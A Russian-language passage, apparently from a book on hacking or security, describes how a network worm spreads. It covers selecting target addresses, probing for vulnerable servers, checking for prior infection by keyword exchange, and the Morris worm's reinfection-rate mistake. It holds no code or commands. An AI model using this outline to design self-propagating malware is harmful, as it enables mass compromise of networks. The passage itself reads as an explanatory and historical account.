Для дальнейшего распространения червь должен определить IP-адреса узлов, пригодных для вторжения. Для этого применяются следующие стратегии: сканирование IP-адресов текущей подсети, генерация случайного IP-адреса, просмотр локальных файлов жертвы на предмет поиска сетевых адресов, импорт данных из почтового клиента жертвы. Кроме IP-адресов может осуществляться поиск URL и адреса e-mail.

Затем необходимо протестировать найденные адреса: существуют ли они в действительности, содержат ли уязвимую версию сервера или операционной системы, известных червю и совместимых с одной или несколькими его головами. Это осуществляется простой отправкой запроса и получением ответа (вид запроса зависит от конкретного сервера или операционной системы, например, для Web-сервера это может быть просто запрос GET).

Затем необходимо проверить, не захвачен ли уязвимый узел копией червя. Часто для этого встраивается проверка на определенное слово или комбинацию символов, т. е. червь посылает ключевое слово в сетевом запросе, и в том случае, если узел уже заражен, его копия посылает в ответ другое ключевое слово. Именно в этом механизме Роберт Моррис допустил ошибку. Он вполне разумно предусмотрел, что в будущем администраторами могут быть установлены имитаторы на серверах, которые будут всегда в ответ посылать червю ключевое слово, создавая иллюзию, что сервер уже заражен. Поэтому Моррис снабдил свой вирус механизмом, который должен был в одном из семи случаев игнорировать признак заражения, повторно внедряясь в уже захваченную машину. Но он выбрал неправильный коэффициент, из-за чего уязвимые системы инфицировались многократно, съедая ресурсы компьютеров и сетевых каналов, в результате их функционирование стало невозможным.

После того как жертва выбрана, голова (или головы) червя эксплуатирует ошибку в ее программном обеспечении, и заражение продолжается дальше по описанной выше схеме.

ЧАСТЬ IV

Локальный боевой софт